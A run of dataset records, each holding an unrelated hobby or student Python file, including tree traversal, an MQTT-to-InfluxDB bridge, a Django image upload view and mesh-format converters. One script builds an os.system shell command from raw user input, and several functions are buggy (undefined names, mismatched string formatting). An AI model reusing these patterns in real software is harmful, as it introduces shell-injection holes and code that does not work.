# queue = Queue1()\n # queue.push(root)\n # eles = []\n # n = 1\n # last = root\n # nlast = root\n # while queue.size() !=0:\n # cur = queue.pop()\n # eles.append(cur.val)\n #\n # if n % 2 !=0:\n # #遍历奇数行的所有元素\n #\n # if cur.right:\n # queue.push(cur.right)\n # nlast = cur.right\n # if cur.left:\n # queue.push(cur.left)\n # nlast = cur.left\n #\n # else:\n # #遍历偶数行的所有元素\n #\n # if cur.left:\n # queue.push(cur.left)\n # nlast =cur.left\n #\n # if cur.right:\n # queue.push(cur.right)\n # nlast = cur.right\n #\n # if cur == last:\n #\n # res.append(eles)\n # last = nlast\n # eles = []\n # n +=1\n #\n # return res\n\n def bfs_order_z(self,root):\n # 初始化一个队列结构\n curLayerNodes = Queue1()\n curLayerNodes.push(root)\n\n res = []\n if not root:\n return res\n # 初始化设定当前层为偶数层\n isEvenLayer = True\n # 遍历当前层节点。\n while curLayerNodes.size() != 0:\n curLayerVal = []\n nextLayerNode = Queue1()\n # 相领层改变层属性。\n isEvenLayer = not isEvenLayer\n # 获取当前层的值,并加载下一层节点。\n while curLayerNodes.size() != 0:\n curNode = curLayerNodes.pop()\n curLayerVal.append(curNode.val)\n if curNode.left:\n nextLayerNode.push(curNode.left)\n if curNode.right:\n nextLayerNode.push(curNode.right)\n curLayerNodes = nextLayerNode\n # 根据当前层的奇偶性\n res.append(curLayerVal[::-1]) if isEvenLayer else res.append(curLayerVal)\n return res\n\n def print(self, pRoot):\n resultArray = []\n\n if not pRoot:\n return resultArray\n\n curLayerNodes = [pRoot]\n isEvenLayer = True\n\n while curLayerNodes:\n curLayerValues = []\n nextLayerNodes = []\n isEvenLayer = not isEvenLayer\n\n for node in curLayerNodes:\n curLayerValues.append(node.val)\n if node.left:\n nextLayerNodes.append(node.left)\n if node.right:\n nextLayerNodes.append(node.right)\n curLayerNodes = nextLayerNodes\n resultArray.append(curLayerValues[::-1]) if isEvenLayer else resultArray.append(curLayerValues)\n return resultArray\n\n\n\nif __name__ == '__main__':\n # arr = {132,11,375,625,225,416}\n from bin_tree import BinTree\n btree = BinTree()\n btree.add(132)\n btree.add(11)\n btree.add(375)\n btree.add(625)\n btree.add(225)\n btree.add(416)\n btree.add(512)\n btree.add(47)\n btree.add(49)\n btree.add(60)\n print(TreePrinter().bfs_order(btree.root))\n print(TreePrinter().bfs_order_z(btree.root))\n","sub_path":"data_structure_and_algorithms/binary_tree/BFS_order.py","file_name":"BFS_order.py","file_ext":"py","file_size_in_byte":4935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"372646302","text":"import re\nfrom typing import NamedTuple\n\nimport paho.mqtt.client as mqtt\nfrom influxdb import InfluxDBClient\n\nINFLUXDB_ADDRESS = '127.0.0.1'\nINFLUXDB_USER = 'iot_user'\nINFLUXDB_PASSWORD = 'iot'\nINFLUXDB_DATABASE = 'iot'\n\nMQTT_ADDRESS = '127.0.0.1'\nMQTT_USER = 'iot_user'\nMQTT_PASSWORD = 'iot_passwd'\nMQTT_TOPIC = 'iot/+/+'\nMQTT_REGEX = 'iot/([^/]+)/([^/]+)'\nMQTT_CLIENT_ID = 'MQTTInfluxDBBridge'\n\ninfluxdb_client = InfluxDBClient(INFLUXDB_ADDRESS, 8086, INFLUXDB_USER, INFLUXDB_PASSWORD, None)\n\nclass SensorData(NamedTuple):\n location: str\n measurement: str\n value: float\n lat: float\n lng: float\n\ndef on_connect(client, userdata, flags, rc):\n \"\"\" The callback for when the client receives a CONNACK response from the server.\"\"\"\n print('Connected with result code ' + str(rc))\n client.subscribe(MQTT_TOPIC)\n\ndef _parse_mqtt_message(topic, payload):\n match = re.match(MQTT_REGEX, topic)\n parsedValues = parseData(payload)\n if match and parsedValues != None:\n location = match.group(1)\n measurement = match.group(2)\n if measurement == 'status':\n return None\n return SensorData(location, measurement, float(parsedValues['v']), float(parsedValues['x']), float(parsedValues['y']))\n return None\n\ndef parseData(data):\n data = data.rstrip()\n if data[len(data)-1] != \"#\":\n print(\"Caractère de fin de chaine manquant.\")\n return None\n else:\n data = data.replace(\"#\", \"\")\n parsedValues = {}\n for item in data.split(\";\"):\n current = item.split(':')\n parsedValues[current[0]] = current[1]\n return parsedValues\n\ndef _send_sensor_data_to_influxdb(sensor_data):\n json_body = [\n {\n 'measurement': sensor_data.measurement,\n 'tags': {\n 'location': sensor_data.location\n },\n 'fields': {\n 'value': sensor_data.value,\n 'lat': sensor_data.lat,\n 'lng': sensor_data.lng\n }\n }\n ]\n influxdb_client.write_points(json_body)\n\ndef on_message(client, userdata, msg):\n \"\"\"The callback for when a PUBLISH message is received from the server.\"\"\"\n print(msg.topic + ' ' + str(msg.payload))\n sensor_data = _parse_mqtt_message(msg.topic, msg.payload.decode('utf-8'))\n if sensor_data is not None:\n _send_sensor_data_to_influxdb(sensor_data)\n\ndef _init_influxdb_database():\n databases = influxdb_client.get_list_database()\n if len(list(filter(lambda x: x['name'] == INFLUXDB_DATABASE, databases))) == 0:\n influxdb_client.create_database(INFLUXDB_DATABASE)\n influxdb_client.switch_database(INFLUXDB_DATABASE)\n\ndef main():\n _init_influxdb_database()\n\n mqtt_client = mqtt.Client(MQTT_CLIENT_ID)\n #mqtt_client.username_pw_set(MQTT_USER, MQTT_PASSWORD)\n mqtt_client.on_connect = on_connect\n mqtt_client.on_message = on_message\n\n mqtt_client.connect(MQTT_ADDRESS, 1883)\n mqtt_client.loop_forever()\n\n\nif __name__ == '__main__':\n print('MQTT to InfluxDB bridge')\n main()","sub_path":"dashboard/MQTTBridgeInfluxDB.py","file_name":"MQTTBridgeInfluxDB.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"41438191","text":"# -*- coding: utf-8 -*-\nimport sys\n\n\ncidrs = []\n\ndef site_from_ip_addr(addr):\n cidr = 32\n\n # Initialize net and binary and netmask with addr to get network\n net_ip = []\n for i in range(4):\n net_ip.append(int(addr[i]) & 255)\n\n for cidr in cidrs:\n found = True\n for i in range(4):\n if (net_ip[i] & cidr[3][i]) != cidr[2][i]:\n found = False\n break\n\n if found: return (cidr)\n\n return None\n\ndef site_from_ip(ip):\n addr = ip.split('.')\n return site_from_ip_addr(addr)\n\n\ndef load_ips(filename):\n\n with open(filename, encoding='utf8') as file:\n for line in file:\n if line[0] == '#': continue\n a = line.strip().split(\";\")\n nets = a[4].split(\",\")\n if a[4] == '': continue\n for s in nets:\n\n # Get address string and CIDR string from command line\n (addrString, cidrString) = s.split('/')\n addr = addrString.split('.')\n cidr = int(cidrString)\n\n # Initialize the netmask and calculate based on CIDR mask\n mask = [0, 0, 0, 0]\n for i in range(int(cidrString)):\n mask[i//8] = mask[i//8] + (1 << (7 - i % 8))\n\n # Initialize net and binary and netmask with addr to get network\n net = []\n for i in range(4):\n net.append(int(addr[i]) & mask[i])\n\n cidr = [ a[1], s, net, mask, a[2], a[3], a[0] ]\n cidrs.append( cidr )\n\n # print(cidr)\n\nload_ips(\"pop_df_lat_lon.txt\")\n\n#s = site_from_ip(\"200.130.1.0\")\n#print(\"-------------\")\n#print(s)\n\n","sub_path":"ip_to_nome_lat_lon.py","file_name":"ip_to_nome_lat_lon.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"569920190","text":"# Create your views here.\nfrom django.http import HttpResponse\nfrom models import Images\nimport django.forms as forms\nfrom django.forms import ModelForm\nfrom forms import ImageForm\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nimport datetime\nimport Image, ImageFileIO\nfrom django.conf import settings\nfrom StringIO import StringIO\n\ndef thumbnail(image, size=(50, 50),):\n im = Image.frombuffer(\"RGB\",\"100,100\",image.read())\n #if image.mode not in ('L', 'RGB'):\n # image = image.convert('RGB')\n im = im.resize(size, \"ANTIALIAS\")\n return im\n\ndef to_62(num):\n al = [chr(i+48) for i in range(75) if chr(i+48).isalpha() or chr(i+48).isdigit()]\n lefts = []\n while num:\n lefts.append(num%len(al))\n num /= len(al)\n res = ''.join([al[left] for left in lefts[::-1]])\n return res\n\ndef add_image(request):\n #last_image_id = Images.objects.order_by('-id')[0].id else last_image_id = 0\n form = ImageForm()\n if request.POST:\n form = ImageForm(request.POST, request.FILES)\n if form.is_valid():\n image = request.FILES['image_file']\n \n save_image(image)\n \n #thumb_image = thumbnail(image)\n #save_image(thumb_image)\n p = Images(comment=request.POST['comment'], name = file.name,\n useragent=request.META['HTTP_USER_AGENT'],\n ip=request.META['REMOTE_ADDR'], views=0, md5=0 )\n p.save()\n return HttpResponse(image.name)\n #return render_to_response(\"forms/add_image.html\", {'form': form})\n else:\n return render_to_response(\"forms/add_image.html\", {'form': form})\n else:\n return render_to_response(\"forms/add_image.html\", {'form': form})\n\ndef save_image(image):\n destination = settings.MEDIA_ROOT + 'images/'\n f = StringIO(image.read())\n im = Image.open(f)\n im.save(destination + image.name)\n size=(50, 50)\n im = im.resize(size, \"NEAREST\")\n im.save(destination + 'th' + image.name)\n \n #file = open(destination + image.name, 'w')\n #file.write(image.read())\n #file.close()","sub_path":"images/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"7643491","text":"\"\"\"Utilities for .asc or .srf and writing .off or .stl.\"\"\"\nimport os\nimport sys \n\nfrom collections import namedtuple\n\nfrom itertools import chain\n\nimport numpy as np\n\n\n__STL_TEMPLATE = \"\"\"\nfacet normal {:e} {:e} {:e}\n outer loop\n vertex {:e} {:e} {:e}\n vertex {:e} {:e} {:e}\n vertex {:e} {:e} {:e}\n endloop\nendfacet\\n\n\"\"\"\n\n\nDataTuple = namedtuple(\"DataTuple\", [\"num_facets\", \"num_vertices\", \"data\"])\n\n\ndef facetNormals_vec(vertices: np.array) -> np.array:\n \"\"\"Compute facet normals.\n \n Arguments:\n vertices: np.array of shape (N, 3, 3), where N is the number of facets\n\n Returns:\n (N, 3) unit outward facing facet normals.\n \"\"\"\n v1 = vertices[:, 1] - vertices[:, 0]\n v2 = vertices[:, 2] - vertices[:, 0] \n n = np.cross(v1, v2)\n n /= np.linalg.norm(n, axis=1)[:, None]\n return n\n\n\ndef srf2off(data: np.array, num_vertices: int, num_facets: int, outname: str) -> None:\n \"\"\"Convert asc surface to off.\n\n Arguments:\n data: Array of vertices and facets of shape (N, 3).\n num_vertices: Number of vertices.\n num_facets: Number of facets.\n \"\"\"\n assert data.shape[1] == 3 # Number of vertices in a facet\n assert data.shape[0] == num_vertices + num_facets # Header is consistent with data\n\n with open(outname, \"w\") as outfile:\n outfile.write(\"OFF\\n\")\n outfile.write(\"{Nv} {Nf} {Ne}\".format(Nv=num_vertices, Nf=num_facets, Ne=0))\n\n # Write vertices\n for line in data[:num_vertices]:\n outfile.write(\"%e %e %e\\n\".format(*map(float, line)))\n\n # Write facet connectivity\n for line in data[num_vertices:]:\n outfile.write(\"3 %d %d %d\\n\".format(*map(int, line)))\n\n\ndef srf2off_vec(data: np.array, num_vertices: int, num_facets: int, outname: str) -> None:\n \"\"\"Convert .asc surface to .off.\n\n Arguments:\n data: Array of vertices and facets of shape (N, 3).\n num_vertices: Number of vertices.\n num_facets: Number of facets.\n \"\"\"\n assert data.shape[1] == 3 # Numver of vertices in a facet\n assert data.shape[0] == num_vertices + num_facets # Headr is consistent with data\n\n # Assume outfile does not exist, so we can append\n with open(outname, \"ab\") as outfile:\n # Write header\n outfile.write(\"OFF\\n\".encode())\n outfile.write(\"{Nv} {Nf} {Ne}\\n\".format(\n Nv=num_vertices, Nf=num_facets, Ne=0).encode()\n )\n # Use numpy to append vertex array\n np.savetxt(outfile, data[:num_vertices], fmt=\"%.15f\")\n\n # Prepend with column of number of vertices\n facets = np.concatenate(\n (\n 3*np.ones(num_facets, dtype=np.int16)[None].T,\n data[num_vertices:].astype(np.int16),\n ),\n axis=1\n )\n # Use numpy to append vertex connectivity array\n np.savetxt(outfile, facets, fmt=\"%d\")\n\n\ndef srf2stl(data: np.array, num_vertices: int, num_facets: int, outname: str) -> None:\n \"\"\"Convert asc surface to stl.\n\n Arguments:\n data: Array of vertices and facets of shape (N, 3).\n num_vertices: Number of vertices.\n num_facets: Number of facets.\n \"\"\"\n name = os.path.splitext(os.path.basename(outname))[0] # name for stl header\n with open(outname, \"w\") as outfile:\n outfile.write(\"solid {name}\\n\".format(name=name))\n\n # Use efancy indexing to get vertices. Probably super memory inefficient\n facets = data[data[num_vertices:].astype(np.int16)]\n\n # Compute normals\n normals = facetNormals_vec(facets)\n\n # Fill in template for each facet\n for i in range(num_facets):\n outfile.write(\n __STL_TEMPLATE.format(*chain(normals[i], facets[i].flatten()))\n )\n outfile.write(\"endsolid {name}\".format(name=name))\n\n\ndef readAsc(filename: str) -> DataTuple:\n \"\"\"Verify that `filename` has the correct format, and return the data.\n\n Arguments:\n filename: Name of inout file\n\n Returns:\n `DataTuple` with number of vertices, facets, the coordinates and the connectivity.\n \"\"\"\n msg = \"Cannot fine file {filename}\".format(filename=filename)\n assert os.path.isfile(filename), msg\n\n data = np.loadtxt(filename, skiprows=2)\n msg = \"Unrecognised file format. Expected 4 columns\"\n assert data.shape[1] == 4, msg\n\n with open(filename, \"r\") as inputfile:\n line = inputfile.readline() # Skip first line\n num_vertices, num_facets = tuple(map(int, inputfile.readline().split()))\n\n msg = \"The number of vertices and facets is inconsistent with data size\"\n assert data.shape[0] == num_vertices + num_facets, msg\n\n # Discard the column with number of edges (at least for .off)\n return DataTuple(num_facets=num_facets, num_vertices=num_vertices, data=data[:, :-1])\n\n\ndef readOff(filename: str) -> DataTuple:\n \"\"\"Verify that `filename` has the correct format, and return the data.\n\n Arguments:\n filename: Name of input file (.off)\n\n Returns:\n `DataTuple` with number of vertices, facets, the coordinates and the connectivity.\n \"\"\"\n msg = \"Cannot fine file {filename}\".format(filename=filename)\n assert os.path.isfile(filename), msg\n\n with open(filename, \"r\") as infile:\n assert \"OFF\" in infile.readline(), \"Cannot find 'OFF' in header\"\n num_vertices, num_facets, _ = tuple(map(int, infile.readline().split()))\n # TODO: Write a regex\n\n data_lines = list(map(lambda x: x.strip().split(), infile.readlines()))\n vertices = np.array(data_lines[:num_vertices], dtype=np.float32)\n facets = np.array(data_lines[num_vertices:], dtype=np.int16)[:, 1:]\n\n msg = \"vertices.shape: {}, facets.shape: {}\".format(vertices.shape, facets.shape)\n assert vertices.shape[1] == facets.shape[1], msg\n msg = \"expected: {}, got {}\".format(vertices.shape[0], num_vertices)\n assert vertices.shape[0] == num_vertices, msg\n msg = \"expected: {}, got {}\".format(facets.shape[0], num_facets)\n assert facets.shape[0] == num_facets, msg\n data = np.concatenate((vertices, facets))\n\n # data = np.loadtxt(filename, skiprows=2)\n\n msg = \"Expected data.shape[0] == {0}, got {1}\"\n msg.format(num_vertices + num_facets, data.shape[0])\n assert data.shape[0] == num_vertices + num_facets, msg\n\n return DataTuple(num_facets=num_facets, num_vertices=num_vertices, data=data)\n\n\ndef readSTL(filename: str) -> DataTuple:\n \"\"\"Verify that `filename` has the correct format, and return the data.\n\n Arguments:\n filename: Name of input file (.stl)\n\n Returns:\n `DataTuple` with number of vertices, facets, the coordinates and the connectivity.\n \"\"\"\n raise NotImplementedError\n","sub_path":"source/brainmesh/utils/mesh_conversion_utils.py","file_name":"mesh_conversion_utils.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"413853863","text":"from django.db import models\nfrom taggit.managers import TaggableManager\n\nclass Post(models.Model):\n title = models.CharField(max_length=50)\n contents = models.TextField()\n img = models.ImageField()\n dateCreat = models.DateTimeField()\n category = TaggableManager()\n\n def __str__(self):\n return self.title","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"136548546","text":"import sys\nimport csv\nimport os\n\nINPUT_FILE = \"../NLP_ML/input/user_input_songs.csv\"\nOUTPUT_FILE = \"data.txt\"\n\n#add string to the input osv of NLP script\ndef add_input_string():\n fields=['user name',input_string[:10],'link',input_string]\n with open(r''+INPUT_FILE, 'a') as f:\n writer = csv.writer(f)\n writer.writerow(fields)\n\n#Running NLP script on user input string\ndef run_nlp(input_string):\n os.system('python3 ../NLP_ML/Python_File.py ' + '\"'+input_string+'\"')\n\n#if __name__ == \"__main__\":\n# Takes first name and last name via command\n# line arguments and then display them\ninput_string = sys.argv[1]\nrun_nlp(input_string)\nwith open(OUTPUT_FILE, 'r') as f:\n print(f.read())\n","sub_path":"Backend/testPython.py","file_name":"testPython.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"252026799","text":"from tkinter import *\nfrom tkinter import ttk\nfrom maps import map\nimport sys\n\nclass App(Frame):\n def __init__(self,master):\n super(App,self).__init__(master)\n self.grid()\n \n def label(self,message):\n self.label=ttk.Label(self,text=message)\n self.label.grid(column=1,row=0,sticky=N)\n \n #Methods for the input buttons \n def first_button(self):\n self.button=Button(self,text=\"Select\",command=self.get_country)\n self.button.grid(column=2,row=2,sticky=SE)\n\n def second_button(self):\n self.button=Button(self,text=\"Select\",command=self.get_second_country)\n self.button.grid(column=2,row=2,sticky=SE)\n \n def entry_button(self):\n self.button=Button(self,text=\"Enter\",command=self.get_entry)\n self.button.grid(column=2,row=2,sticky=SE)\n \n def amount_button(self):\n self.button=Button(self,text=\"Enter\",command=self.get_amount)\n self.button.grid(column=2,row=2,sticky=SE)\n \n def alert_button(self):\n self.button=Button(self,text=\"Close\",command=self.alert_function)\n self.button.grid(column=2,row=2,sticky=SE)\n \n #Methods for creating and populating various comboboxs\n def first_combobox(self,player):\n first_country_choice=StringVar()\n self.first_country=ttk.Combobox(self,textvariable=first_country_choice)\n self.first_country[\"values\"]=first_country_select(player)\n self.first_country.grid(column=1,row=2,sticky=N)\n \n def second_combobox(self,chosen_country):\n second_country_choice=StringVar()\n self.second_country=ttk.Combobox(self,textvariable=second_country_choice)\n self.second_country[\"values\"]=second_country_select(chosen_country)\n self.second_country.grid(column=1,row=2,sticky=N)\n\n def second_combobox_attack(self,chosen_country,player):\n second_country_choice=StringVar()\n self.second_country=ttk.Combobox(self,textvariable=second_country_choice)\n self.second_country[\"values\"]=second_country_attack(chosen_country,player)\n self.second_country.grid(column=1,row=2,sticky=N) \n \n def amount_combobox(self,chosen_country):\n amount_choice=StringVar()\n self.amount=ttk.Combobox(self,textvariable=amount_choice)\n self.amount[\"values\"]=get_army(chosen_country)\n self.amount.grid(column=1,row=2,sticky=N)\n \n #Method for creating entry box\n def entry_box(self):\n save_game_name=StringVar()\n self.save_game=ttk.Entry(self, textvariable=save_game_name)\n self.save_game.grid(column=1,row=2,sticky=N)\n \n\t#Functions for the individual buttons\t\n def get_country(self):\n global selected_country\n selected_country=self.first_country.get()\n self.master.destroy()\n return selected_country,\n\n def get_second_country(self):\n global second_selected_country\n second_selected_country=self.second_country.get()\n self.master.destroy()\n return second_selected_country\n \n def get_entry(self):\n global entry_value\n entry_value=self.save_game.get()\n self.master.destroy()\n return entry_value\n \n def get_amount(self):\n global value\n value=self.amount.get()\n self.master.destroy()\n return value\n \n def alert_function(self):\n self.master.destroy()\n\t\t\n#Functions for creating the lists of the countries\ndef first_country_select(player):\n possible_start=[]\n for entry in map:\n #Adds countries owned by player to a list\n if player==map[entry][0]:\n possible_start.append(entry)\n return possible_start\n\ndef second_country_select(chosen_country):\n possible_moves_id=map[chosen_country][3]\n possible_moves=[]\n #Goes through the dictionary and checks to see if the country ID is in the tuple. If so adds to a list\t\n for entry in map: \n if map[entry][2] in possible_moves_id:\n if map[entry][0]==0:\n possible_moves.append(entry) \n return possible_moves\n\ndef second_country_attack(chosen_country,player):\n possible_moves_id=map[chosen_country][3]\n possible_moves=[]\n #Goes through the dictionary and checks to see if the country ID is in the tuple and the country has a player that isn't the current players. If so adds to a list\t\n for entry in map: \n if map[entry][2] in possible_moves_id:\n if map[entry][0]!=player and map[entry][0]!=0:\n possible_moves.append(entry) \n return possible_moves\n\ndef get_army(original_country):\n army_total=map[original_country][1]\n print(army_total)\n army=[]\n for i in range(army_total):\n army.append(i+1)\n return army\n#Function that creates the tkinter window\ndef one_country_select(player):\n root=Tk()\n root.title(\"Country Selection\")\n app=App(root)\n app.label(\"Please select a country:\")\n app.first_combobox(player)\n app.first_button()\n root.mainloop()\n return selected_country\n\ndef two_country_select(player):\n one_country_select(player)\n root=Tk()\n root.title(\"Country Selection\")\n second=App(root)\n second.label(\"Please select a second country:\")\n second.second_combobox(selected_country)\n second.second_button()\n root.mainloop()\n return selected_country, second_selected_country\n\ndef two_country_attack(player):\n one_country_select(player)\n root=Tk()\n root.title(\"Country Selection\")\n second=App(root)\n second.label(\"Please select a second country:\")\n second.second_combobox_attack(selected_country,player)\n second.second_button()\n root.mainloop()\n return selected_country, second_selected_country\n \ndef move_country_entry(player):\n a,b=two_country_select(player)\n root=Tk()\n root.title(\"Move Country\")\n move_window=App(root)\n move_window.label(\"Please choose the amount you wish to move:\")\n move_window.amount_combobox(a)\n move_window.amount_button()\n root.mainloop()\n return selected_country, second_selected_country, value\n \ndef entry_dialogue():\n root=Tk()\n root.title(\"Entry\")\n entry_window=App(root)\n entry_window.label(\"Please enter a save game name:\")\n entry_window.entry_box()\n entry_window.entry_button()\n root.mainloop()\n return entry_value\n\ndef start_game():\n root=Tk()\n root.title(\"Start Game\")\n entry_window=App(root)\n entry_window.label(\"Please enter the amount of players:(6 Maximum)\")\n entry_window.entry_box()\n entry_window.entry_button()\n root.mainloop()\n return entry_value\n\ndef alert(message):\n root=Tk()\n root.title(\"Alert\")\n alert=App(root)\n alert.label(message)\n alert.alert_button()\n root.mainloop()\n","sub_path":"Python-RISK/tk.py","file_name":"tk.py","file_ext":"py","file_size_in_byte":6747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"99086837","text":"# -*- coding=utf-8 -*-\nfrom unittest.mock import Mock\n\nimport pytest\n\nfrom midcli.command.interface import ProcessInputError\nfrom midcli.command.generic_call import GenericCallCommand\n\nSCHEMA = {\n \"name\": \"service.method\",\n \"accepts\": [\n {\n \"_name_\": \"interface\",\n \"type\": \"object\",\n \"properties\": {\n \"aliases\": {\n \"type\": \"array\",\n }\n }\n },\n ],\n \"job\": False,\n}\n\n\n@pytest.mark.parametrize(\"text,call_args\", [\n ('{\"aliases\": 1000}', [{\"aliases\": [1000]}]),\n ('{\"aliases\": [1000, 1001]}', [{\"aliases\": [1000, 1001]}]),\n ('{\"aliases\": null}', [{\"aliases\": None}]),\n ('{}', [{}]),\n])\ndef test_call_kwargs__single_value_to_list(text, call_args):\n command = GenericCallCommand(Mock(), Mock(), \"create\", None, \"user.create\", method=SCHEMA, splice_kwargs=None)\n command._run_with_editor = Mock(side_effect=RuntimeError(\"Interactive run attempt\"))\n command.call = Mock()\n if isinstance(call_args, str):\n with pytest.raises(ProcessInputError) as e:\n command.process_input(text)\n\n command.call.assert_not_called()\n assert e.value.error == call_args\n else:\n command.process_input(text)\n command.call.assert_called_once_with(\"service.method\", *call_args, job=False)\n","sub_path":"tests/command/generic_call/test_call_args_kwargs__single_value_to_list.py","file_name":"test_call_args_kwargs__single_value_to_list.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"461822274","text":"def insert(initial, to_be_copied, index_to_be_put_in):\n '''(list or str, list or str, int) ---> (list)\n This function will take in two lists, the second list being copied\n into the first list at the index specified\n REQ: len(initial) and len(to_be_copied) > 0\n REQ: 0 < index_to_be_put_in < len(initial_list)\n >>>insert([1, 2, 3] , ['a', 'b', 'c'], 2)\n 1, 2, 'a', 'b', 'c', 3\n >>>insert(\"123\" , \"abc\", 2)\n '12abc3'\n '''\n # Check if inputted list is a string or list, if string\n # convert to string to simplify process\n if(type(initial) is str):\n initial_list = list(initial)\n list_to_be_copied = list(to_be_copied)\n # Scanning the to be copied list to move everything from their\n # into the initial list, at the index which was provided\n for i in range(0, len(list_to_be_copied), 1):\n initial_list.insert(counter, list_to_be_copied[i])\n index_to_be_put_in += 1\n # Re-convert the list back into a string\n return ''.join(initial_list)\n else:\n # Scanning the to be copied list to move everything from their\n # into the initial list, at the index which was provided\n for i in range(0, len(to_be_copied), 1):\n initial.insert(counter, to_be_copied[i])\n index_to_be_put_in += 1\n return initial\n\n\ndef up_to_first(list_to_be_scanned, object_to_check):\n '''(list, obj) --> list up to first occurence of object\n This function will take in a list and scan it until it finds the inputted\n object, and then return the list up to, but not including that object.\n If the object inputted is not found, the entire list will be returned\n REQ: list_to_be_copied > 0\n REQ: type(list) == type(obj)\n >>>up_to_first([1, 2, 3, 4] , 3)\n [1, 2]\n >>>up_to_first([1, 2, 3, 4] , 9)\n [1, 2, 3, 4]\n >>>up_to_first('1234', 4)\n '123'\n '''\n # Check if the object exists in the list, if not return the list\n if(list_to_be_scanned.count(object_to_check) == 0):\n return list_to_be_scanned\n # Create the empty list which will contain the values up-to the\n # value of the object provided\n return_list = []\n # Check if the inputted list is a list or string\n if(type(list_to_be_scanned) is str):\n string_to_be_scanned = list(list_to_be_scanned)\n # Scanning all the values in the list\n for i in range(0, len(string_to_be_scanned), 1):\n # Checking if the current value is the given object,\n # if so we won't continue to adding it into the copy list\n # and we will return what we have which is exactly one less\n # index from the given object\n if(string_to_be_scanned[i] == object_to_check):\n return ''.join(return_list)\n # Add values up to object into copy list\n else:\n return_list.insert(i, string_to_be_scanned[i])\n\n else:\n for i in range(0, len(list_to_be_scanned), 1):\n # Checking if the current value is the given object,\n # if so we won't continue to adding it into the copy list\n # and we will return what we have which is exactly one less\n # index from the given object\n if(list_to_be_scanned[i] == object_to_check):\n return return_list\n # Add values up to object into copy list\n else:\n return_list.insert(i, list_to_be_scanned[i])\n\n\ndef cut_list(list_to_be_cut, index_of_split):\n '''(list, int) --> list\n This function will take in a list and flip it at the index given\n REQ: len(list_to_be_cut) > 0\n REQ: 0 < index_of_split < len(list_to_be_cut)\n >>>cut_list([0,1,2,3,4,5,6,7,8,9] , 3)\n [4,5,6,7,8,9,3,0,1,2]\n >>>cut_list(\"ABCDEFGX1234\", 7)\n '1234XABCDEFG'\n '''\n if(type(list_to_be_cut) == str):\n str_list_to_be_cut = list(list_to_be_cut)\n slice_index = (len(list_to_be_cut) - index_of_split) - 1\n new_list = str_list_to_be_cut[-slice_index:]\n new_list_last = len(new_list)\n new_list.insert(new_list_last, str_list_to_be_cut[index_of_split])\n new_list_last += 1\n for i in range(0, len(str_list_to_be_cut) - slice_index - 1, 1):\n new_list.insert(new_list_last, str_list_to_be_cut[i])\n new_list_last += 1\n return ''.join(new_list)\n\n else:\n slice_index = (len(list_to_be_cut) - index_of_split) - 1\n new_list = list_to_be_cut[-slice_index:]\n new_list_last = len(new_list)\n new_list.insert(new_list_last, list_to_be_cut[index_of_split])\n new_list_last += 1\n for i in range(0, len(list_to_be_cut) - slice_index - 1, 1):\n new_list.insert(new_list_last, list_to_be_cut[i])\n new_list_last += 1\n return new_list\n","sub_path":"Semester 1/Exercise 5/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":4824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"422786025","text":"if __name__ == \"__main__\":\n count = int(input())\n seq = list(map(int, input().rstrip().split()))\n\n seq.sort()\n maxKey = 0\n for i in range(count):\n if i == count-1:\n break\n\n key = seq[i] % seq[i+1]\n if(maxKey < key):\n maxKey = key\n\n print(maxKey)\n","sub_path":"CodeKitchen/Practice/Programming concepts/test_intel.py","file_name":"test_intel.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"1913859","text":"from golem import actions\n\nfrom projects.golem_api.pages import users\n\n\ndef test(data):\n username = actions.random_str()\n users.create_new_user(username, '123456')\n response = users.create_new_user(username, '123456')\n assert response.status_code == 200\n assert response.json() == ['Username {} already exists'.format(username)]\n","sub_path":"projects/golem_api/tests/users/new_user/new_user_already_exists.py","file_name":"new_user_already_exists.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"462220023","text":"input_file = open(\"ciphertext.txt\", \"r\")\noutput_file = open(\"outputcrack.txt\", \"w\")\ncipher_string = input_file.read().split(\"\\n\")\ninput_file.close()\nfor q in cipher_string:\n\tc = input(\"Enter a guess key: \")\n\tprint (\"Guess Key is: \" + hex(ord(c))[2:] + \" or \" + c)\n\tinitial_xor = int('4B', base=16) ^ int(hex(ord(c)), base=16)\n\tprint (\"_\" * 30)\n\tfor i in cipher_string:\n\t\txor_calc = int(i[98:100], base=16) ^ (initial_xor)\n\t\tprint (i[98:100] + \" || \" + \"DEC: \" + str(xor_calc) + \" || HEX: \" + hex(xor_calc)[2:] + \" || ASCII: \" + chr(xor_calc))\n\tprint (\"_\" * 30)","sub_path":"crack_onetimepad.py","file_name":"crack_onetimepad.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"639669920","text":"# coding: utf-8\r\n\r\nfrom typing import Optional, Dict, Any\r\n\r\nfrom .base import BaseSettings, CONFIG_INFO\r\n\r\n\r\nclass Settings(BaseSettings):\r\n\r\n TITLE: str 